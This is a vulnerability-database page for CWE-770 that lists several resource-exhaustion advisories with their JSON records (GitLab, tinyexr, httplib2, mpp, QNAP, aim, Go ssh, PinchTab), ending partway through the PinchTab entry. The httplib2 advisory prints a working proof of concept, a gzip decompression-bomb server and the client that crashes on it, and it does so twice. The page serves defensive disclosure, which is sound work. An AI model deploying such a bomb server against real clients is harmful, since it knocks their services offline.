CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3707 vulnerabilities reference this CWE, most recent first.
GHSA-J56P-CX78-V9CH
Vulnerability from github – Published: 2025-10-09 12:30 – Updated: 2025-10-09 12:30GitLab has remediated an issue in GitLab CE/EE affecting all versions from 5.2 prior to 18.2.8, 18.3 prior to 18.3.4, and 18.4 prior to 18.4.2 that could have allowed an authenticated attacker to create a denial of service condition by configuring malicious webhook endpoints that send crafted HTTP responses.
{
"affected": [],
"aliases": [
"CVE-2025-2934"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-09T12:15:35Z",
"severity": "MODERATE"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 5.2 prior to 18.2.8, 18.3 prior to 18.3.4, and 18.4 prior to 18.4.2 that could have allowed an authenticated attacker to create a denial of service condition by configuring malicious webhook endpoints that send crafted HTTP responses.",
"id": "GHSA-j56p-cx78-v9ch",
"modified": "2025-10-09T12:30:19Z",
"published": "2025-10-09T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2934"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3058791"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2025/10/08/patch-release-gitlab-18-4-2-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/528979"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J56V-9W7F-7JG3
Vulnerability from github – Published: 2022-05-13 01:51 – Updated: 2022-05-13 01:51An attempted excessive memory allocation was discovered in the function tinyexr::AllocateImage in tinyexr.h in tinyexr v0.9.5. Remote attackers could leverage this vulnerability to cause a denial-of-service via crafted input, which leads to an out-of-memory exception.
{
"affected": [],
"aliases": [
"CVE-2018-20652"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-01T16:29:00Z",
"severity": "MODERATE"
},
"details": "An attempted excessive memory allocation was discovered in the function tinyexr::AllocateImage in tinyexr.h in tinyexr v0.9.5. Remote attackers could leverage this vulnerability to cause a denial-of-service via crafted input, which leads to an out-of-memory exception.",
"id": "GHSA-j56v-9w7f-7jg3",
"modified": "2022-05-13T01:51:05Z",
"published": "2022-05-13T01:51:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20652"
},
{
"type": "WEB",
"url": "https://github.com/syoyo/tinyexr/issues/104"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J5G9-F88F-GFJ3
Vulnerability from github – Published: 2026-07-24 15:15 – Updated: 2026-08-20 21:31Summary
The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.
Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.
Details
Affected code: httplib2/__init__.py - _decompressContent() function
The decompression path has two unbounded operations:
-
gzip decompression (line 394):
python content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()The.read()call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size. -
deflate decompression (line 397):
python content = zlib.decompress(content, zlib.MAX_WBITS)Similarly,zlib.decompress()returns the fully decompressed content as a single bytes object with no size bound. -
Automatic invocation (line 1431):
_decompressContent()is called automatically on every HTTP response that includes aContent-Encoding: gzipordeflateheader. The full compressed body is already buffered in memory viaresponse.read()before decompression begins.
Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.
Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:
- Content-Encoding: gzip header
- A small compressed body that decompresses to an arbitrarily large size
Proof of Concept
Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:
#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver
UNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB
def make_payload():
"""Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
chunk = b"A" * (1024 * 1024) # 1 MB of repeating bytes
for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
gz.write(chunk)
return buf.getvalue()
PAYLOAD = make_payload()
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Encoding", "gzip")
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, fmt, *args):
pass
with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
f"{UNCOMPRESSED_SIZE} bytes decompressed")
httpd.serve_forever()
Step 2 - Run the httplib2 client (in a separate terminal):
#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2
# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
http = httplib2.Http(timeout=5)
try:
response, content = http.request("http://127.0.0.1:8000/")
print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
print(f"MemoryError confirmed: decompression bomb exhausted "
f"{LIMIT_MB} MB memory limit")
# This is the expected outcome - the 150 KB compressed payload
# expanded to 150 MB during decompression, exceeding the limit.
Expected output (client):
MemoryError confirmed: decompression bomb exhausted 180 MB memory limit
Reproduction metrics:
- Compressed payload size: 152,908 bytes (~150 KB)
- Decompressed size: 157,286,400 bytes (150 MB)
- Amplification ratio: ~1,029x
- Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()
Impact
Severity: High
Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.
| Parameter | Value |
|---|---|
| Compressed payload | ~150 KB |
| Decompressed size | 150 MB (configurable by attacker) |
| Amplification ratio | ~1,029x |
| Authentication required | None |
| User interaction required | None |
| Prerequisites | Client makes any HTTP request to attacker-controlled server |
Real-world scenarios: - Web scrapers/crawlers that fetch pages from untrusted URLs - API clients connecting to third-party services - Webhook handlers that follow redirects to attacker-controlled endpoints - CI/CD pipelines that download dependencies or artifacts over HTTP - Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload
Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.
Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.
Credit
Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "httplib2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59939"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T15:15:05Z",
"nvd_published_at": "2026-07-08T20:16:59Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.\n\nAny application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected.\n\n### Details\n\n**Affected code:** `httplib2/__init__.py` - `_decompressContent()` function\n\nThe decompression path has two unbounded operations:\n\n1. **gzip decompression** (line 394):\n ```python\n content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()\n ```\n The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.\n\n2. **deflate decompression** (line 397):\n ```python\n content = zlib.decompress(content, zlib.MAX_WBITS)\n ```\n Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound.\n\n3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins.\n\n**Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server\u0027s compressed payload size.\n\n**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:\n- `Content-Encoding: gzip` header\n- A small compressed body that decompresses to an arbitrarily large size\n\n### Proof of Concept\n\n**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP server that serves a gzip decompression bomb.\"\"\"\nimport gzip\nimport http.server\nimport io\nimport socketserver\n\nUNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB\n\ndef make_payload():\n \"\"\"Create a gzip payload: ~150 KB compressed -\u003e 150 MB decompressed.\"\"\"\n buf = io.BytesIO()\n with gzip.GzipFile(fileobj=buf, mode=\"wb\", compresslevel=9) as gz:\n chunk = b\"A\" * (1024 * 1024) # 1 MB of repeating bytes\n for _ in range(UNCOMPRESSED_SIZE // len(chunk)):\n gz.write(chunk)\n return buf.getvalue()\n\nPAYLOAD = make_payload()\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/octet-stream\")\n self.send_header(\"Content-Encoding\", \"gzip\")\n self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n self.end_headers()\n self.wfile.write(PAYLOAD)\n def log_message(self, fmt, *args):\n pass\n\nwith socketserver.TCPServer((\"127.0.0.1\", 8000), Handler) as httpd:\n print(f\"Bomb server ready: {len(PAYLOAD)} bytes compressed -\u003e \"\n f\"{UNCOMPRESSED_SIZE} bytes decompressed\")\n httpd.serve_forever()\n```\n\n**Step 2 - Run the httplib2 client (in a separate terminal):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Client that demonstrates MemoryError from httplib2 decompression bomb.\"\"\"\nimport resource\nimport httplib2\n\n# Set a 180 MB memory limit to make the crash deterministic\nLIMIT_MB = 180\nlimit = LIMIT_MB * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nhttp = httplib2.Http(timeout=5)\ntry:\n response, content = http.request(\"http://127.0.0.1:8000/\")\n print(f\"Unexpected success: received {len(content)} bytes\")\nexcept MemoryError:\n print(f\"MemoryError confirmed: decompression bomb exhausted \"\n f\"{LIMIT_MB} MB memory limit\")\n # This is the expected outcome - the 150 KB compressed payload\n # expanded to 150 MB during decompression, exceeding the limit.\n```\n\n**Expected output (client):**\n```\nMemoryError confirmed: decompression bomb exhausted 180 MB memory limit\n```\n\n**Reproduction metrics:**\n- Compressed payload size: **152,908 bytes** (~150 KB)\n- Decompressed size: **157,286,400 bytes** (150 MB)\n- Amplification ratio: **~1,029x**\n- Client memory limit: 180 MB -\u003e `MemoryError` triggered during `gzip.GzipFile.read()`\n\n### Impact\n\n**Severity: High**\n\nAny application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.\n\n| Parameter | Value |\n|---|---|\n| Compressed payload | ~150 KB |\n| Decompressed size | 150 MB (configurable by attacker) |\n| Amplification ratio | ~1,029x |\n| Authentication required | None |\n| User interaction required | None |\n| Prerequisites | Client makes any HTTP request to attacker-controlled server |\n\n**Real-world scenarios:**\n- **Web scrapers/crawlers** that fetch pages from untrusted URLs\n- **API clients** connecting to third-party services\n- **Webhook handlers** that follow redirects to attacker-controlled endpoints\n- **CI/CD pipelines** that download dependencies or artifacts over HTTP\n- **Any MITM attacker** on an unencrypted HTTP connection can inject the compressed payload\n\n**Impact scaling:** The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.\n\n**Downstream exposure:** `httplib2` is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google\u0027s API client libraries (`google-api-python-client`, `google-auth-httplib2`), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.\n\n---\n### Credit\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
"id": "GHSA-j5g9-f88f-gfj3",
"modified": "2026-08-20T21:31:15Z",
"published": "2026-07-24T15:15:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/httplib2/httplib2/security/advisories/GHSA-j5g9-f88f-gfj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59939"
},
{
"type": "WEB",
"url": "https://github.com/httplib2/httplib2/commit/87581ad6cf752fe3da2090c59058261d2d00a427"
},
{
"type": "PACKAGE",
"url": "https://github.com/httplib2/httplib2"
},
{
"type": "WEB",
"url": "https://github.com/httplib2/httplib2/releases/tag/v0.32.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2026-3444.yaml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/08/msg00039.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling"
}
GHSA-J5GR-9QMC-3234
Vulnerability from github – Published: 2026-08-19 18:32 – Updated: 2026-09-10 18:31Allocation of Resources Without Limits or Throttling in ZenHive mpp allows an unauthenticated remote client to drain the fee-payer wallet through concurrent sponsored payments, denying service to legitimate payers once it is empty.
MPP.Methods.Tempo.FeePayerPolicy enforces its ceilings (max_gas, max_fee_per_gas, max_priority_fee_per_gas, the worst-case gas_limit * max_fee_per_gas <= max_total_fee budget cap, and a validity window) against one transaction at a time, and nothing accounts for exposure across concurrent requests. reserve_hash_atomic/2 is keyed on the transaction hash, so it prevents duplicate broadcast of the same signed transaction but not N distinct sponsored transactions carrying distinct expiring nonces. Committed sponsor exposure is therefore N times max_total_fee, bounded by nothing in the library, and the default 900 second validity window lets co-signed transactions stay broadcastable and uncounted for that entire period.
This issue affects mpp: from 0.2.0 before 0.12.0.
{
"affected": [],
"aliases": [
"CVE-2026-73541"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T18:17:25Z",
"severity": "HIGH"
},
"details": "Allocation of Resources Without Limits or Throttling in ZenHive mpp allows an unauthenticated remote client to drain the fee-payer wallet through concurrent sponsored payments, denying service to legitimate payers once it is empty.\n\nMPP.Methods.Tempo.FeePayerPolicy enforces its ceilings (max_gas, max_fee_per_gas, max_priority_fee_per_gas, the worst-case gas_limit * max_fee_per_gas \u003c= max_total_fee budget cap, and a validity window) against one transaction at a time, and nothing accounts for exposure across concurrent requests. reserve_hash_atomic/2 is keyed on the transaction hash, so it prevents duplicate broadcast of the same signed transaction but not N distinct sponsored transactions carrying distinct expiring nonces. Committed sponsor exposure is therefore N times max_total_fee, bounded by nothing in the library, and the default 900 second validity window lets co-signed transactions stay broadcastable and uncounted for that entire period.\n\nThis issue affects mpp: from 0.2.0 before 0.12.0.",
"id": "GHSA-j5gr-9qmc-3234",
"modified": "2026-09-10T18:31:21Z",
"published": "2026-08-19T18:32:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ZenHive/mpp/security/advisories/GHSA-j4j7-7xpr-c7cr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73541"
},
{
"type": "WEB",
"url": "https://github.com/ZenHive/mpp/commit/ddc46868fba57ccebb567c04709812b466123076"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-73541.html"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-73541"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J5H2-937F-WV3W
Vulnerability from github – Published: 2022-08-24 00:00 – Updated: 2022-08-26 00:03All versions of package asneg/opcuastack are vulnerable to Denial of Service (DoS) due to a missing limitation on the number of received chunks - per single session or in total for all concurrent sessions. An attacker can exploit this vulnerability by sending an unlimited number of huge chunks (e.g. 2GB each) without sending the Final closing chunk.
{
"affected": [],
"aliases": [
"CVE-2022-24381"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-23T05:15:00Z",
"severity": "HIGH"
},
"details": "All versions of package asneg/opcuastack are vulnerable to Denial of Service (DoS) due to a missing limitation on the number of received chunks - per single session or in total for all concurrent sessions. An attacker can exploit this vulnerability by sending an unlimited number of huge chunks (e.g. 2GB each) without sending the Final closing chunk.",
"id": "GHSA-j5h2-937f-wv3w",
"modified": "2022-08-26T00:03:29Z",
"published": "2022-08-24T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24381"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-UNMANAGED-ASNEGOPCUASTACK-2988735"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J5JM-RPPG-H4J8
Vulnerability from github – Published: 2024-02-02 18:30 – Updated: 2024-02-02 18:30An uncontrolled resource consumption vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to launch a denial-of-service (DoS) attack via a network.
We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later
{
"affected": [],
"aliases": [
"CVE-2023-45028"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-02T16:15:50Z",
"severity": "MODERATE"
},
"details": "An uncontrolled resource consumption vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to launch a denial-of-service (DoS) attack via a network.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.5.2645 build 20240116 and later\nQuTS hero h5.1.5.2647 build 20240118 and later\nQuTScloud c5.1.5.2651 and later\n",
"id": "GHSA-j5jm-rppg-h4j8",
"modified": "2024-02-02T18:30:31Z",
"published": "2024-02-02T18:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45028"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J5QJ-RG5J-J7C2
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-22 00:33In version 3.25.0 of aimhubio/aim, the tracking server is vulnerable to a denial of service attack. The server overrides the maximum size for websocket messages, allowing very large images to be tracked. This causes the server to become unresponsive to other requests while processing the large image, leading to a denial of service condition.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "aim"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-0189"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-22T00:33:44Z",
"nvd_published_at": "2025-03-20T10:15:51Z",
"severity": "HIGH"
},
"details": "In version 3.25.0 of aimhubio/aim, the tracking server is vulnerable to a denial of service attack. The server overrides the maximum size for websocket messages, allowing very large images to be tracked. This causes the server to become unresponsive to other requests while processing the large image, leading to a denial of service condition.",
"id": "GHSA-j5qj-rg5j-j7c2",
"modified": "2025-03-22T00:33:44Z",
"published": "2025-03-20T12:32:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0189"
},
{
"type": "PACKAGE",
"url": "https://github.com/aimhubio/aim"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/e4c9bf41-72cf-4d04-baaf-8f12b5b7926e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Aim Uncontrolled Resource Consumption vulnerability"
}
GHSA-J5W8-Q4QC-RX2X
Vulnerability from github – Published: 2025-11-19 23:01 – Updated: 2025-11-19 23:01SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "golang.org/x/crypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.45.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58181"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-19T23:01:20Z",
"nvd_published_at": "2025-11-19T21:15:50Z",
"severity": "MODERATE"
},
"details": "SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.",
"id": "GHSA-j5w8-q4qc-rx2x",
"modified": "2025-11-19T23:01:20Z",
"published": "2025-11-19T23:01:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58181"
},
{
"type": "WEB",
"url": "https://go.dev/cl/721961"
},
{
"type": "WEB",
"url": "https://go.dev/issue/76363"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/w-oX3UxNcZA"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4134"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "golang.org/x/crypto/ssh allows an attacker to cause unbounded memory consumption"
}
GHSA-J659-8XH6-5PQ5
Vulnerability from github – Published: 2026-08-17 21:50 – Updated: 2026-08-17 21:50_estimate_batch_cost (atomic_agents/agent.py) looks up the per-model output price with PRICING.get(model, {}), returning 0.0 for any model not in the hardcoded pricing table. _check_batch_reservation then early-returns when the reservation is <= 0, skipping the batch reservation entirely. That reservation is the only defense against the documented fan-out race where every parallel helper/delegate reads the identical pre-batch on-disk cost total and each passes its individual check even though the collective spend overruns the configured cap.
Impact: an operator running any model not in the pricing table (self-hosted/Ollama/vLLM, a new provider SKU) with cost_guardrails + daily_cap_usd set believes the cap protects them, but a single parallel batch can blow past the cap. The parallel-helper model argument can also be steered to an unknown id. The sibling dream._estimate_dream_cost does this correctly (PRICING.get(model, _fallback_pricing())), which makes this a clear defect.
Affected: agent.py (_estimate_batch_cost / _check_batch_reservation), all versions through 1.0.0.
Fix: use PRICING.get(model, _costs._fallback_pricing())['output'] (mirror dream/calc_cost). Add a conformance test asserting an unknown-model batch reserves > 0 and that an over-cap unknown-model batch raises CostGuardrailBlocked.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0"
},
"package": {
"ecosystem": "PyPI",
"name": "atomic-agents-stack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T21:50:01Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "`_estimate_batch_cost` (`atomic_agents/agent.py`) looks up the per-model output price with `PRICING.get(model, {})`, returning 0.0 for any model not in the hardcoded pricing table. `_check_batch_reservation` then early-returns when the reservation is \u003c= 0, skipping the batch reservation entirely. That reservation is the only defense against the documented fan-out race where every parallel helper/delegate reads the identical pre-batch on-disk cost total and each passes its individual check even though the collective spend overruns the configured cap.\n\n**Impact:** an operator running any model not in the pricing table (self-hosted/Ollama/vLLM, a new provider SKU) with `cost_guardrails` + `daily_cap_usd` set believes the cap protects them, but a single parallel batch can blow past the cap. The parallel-helper `model` argument can also be steered to an unknown id. The sibling `dream._estimate_dream_cost` does this correctly (`PRICING.get(model, _fallback_pricing())`), which makes this a clear defect.\n\n**Affected:** `agent.py` (`_estimate_batch_cost` / `_check_batch_reservation`), all versions through 1.0.0.\n\n**Fix:** use `PRICING.get(model, _costs._fallback_pricing())[\u0027output\u0027]` (mirror dream/calc_cost). Add a conformance test asserting an unknown-model batch reserves \u003e 0 and that an over-cap unknown-model batch raises `CostGuardrailBlocked`.",
"id": "GHSA-j659-8xh6-5pq5",
"modified": "2026-08-17T21:50:01Z",
"published": "2026-08-17T21:50:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dep0we/atomic-agents-stack/security/advisories/GHSA-j659-8xh6-5pq5"
},
{
"type": "PACKAGE",
"url": "https://github.com/dep0we/atomic-agents-stack"
},
{
"type": "WEB",
"url": "https://github.com/dep0we/atomic-agents-stack/releases#release-v1.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "atomic-agents-stack: Parallel helper/delegate batch reserves $0 for models absent from the pricing table, bypassing the cost-cap fan-out guard"
}
GHSA-J65M-HV65-R264
Vulnerability from github – Published: 2026-03-24 19:47 – Updated: 2026-03-27 21:19Summary
PinchTab v0.7.7 through v0.8.4 contain incomplete request-throttling protections for auth-checkable endpoints. In v0.7.7 through v0.8.3, a fully implemented RateLimitMiddleware existed in internal/handlers/middleware.go but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle.
In the same pre-v0.8.4 range, the original limiter also keyed clients using X-Forwarded-For, which would have allowed client-controlled header spoofing if the middleware had been enabled. v0.8.4 addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted /health and /metrics from rate limiting even though /health remained an auth-checkable endpoint when a token was configured.
This issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses 127.0.0.1 plus a generated random token in the recommended setup.
PinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.
This was fully addressed in v0.8.5 by applying RateLimitMiddleware in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the /health and /metrics exemption so auth-checkable endpoints are throttled as well.
Details
Issue 1 — Middleware never applied in v0.7.7 through v0.8.3:
The production server wrapped the HTTP mux without RateLimitMiddleware:
// internal/server/server.go — v0.8.3
handlers.LoggingMiddleware(
handlers.CorsMiddleware(
handlers.AuthMiddleware(cfg, mux),
// RateLimitMiddleware is not present here in v0.8.3
),
)
The function exists and is fully implemented:
// internal/handlers/middleware.go — v0.8.3
func RateLimitMiddleware(next http.Handler) http.Handler {
startRateLimiterJanitor(rateLimitWindow, evictionInterval)
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// ... 120 req / 10s logic ...
})
}
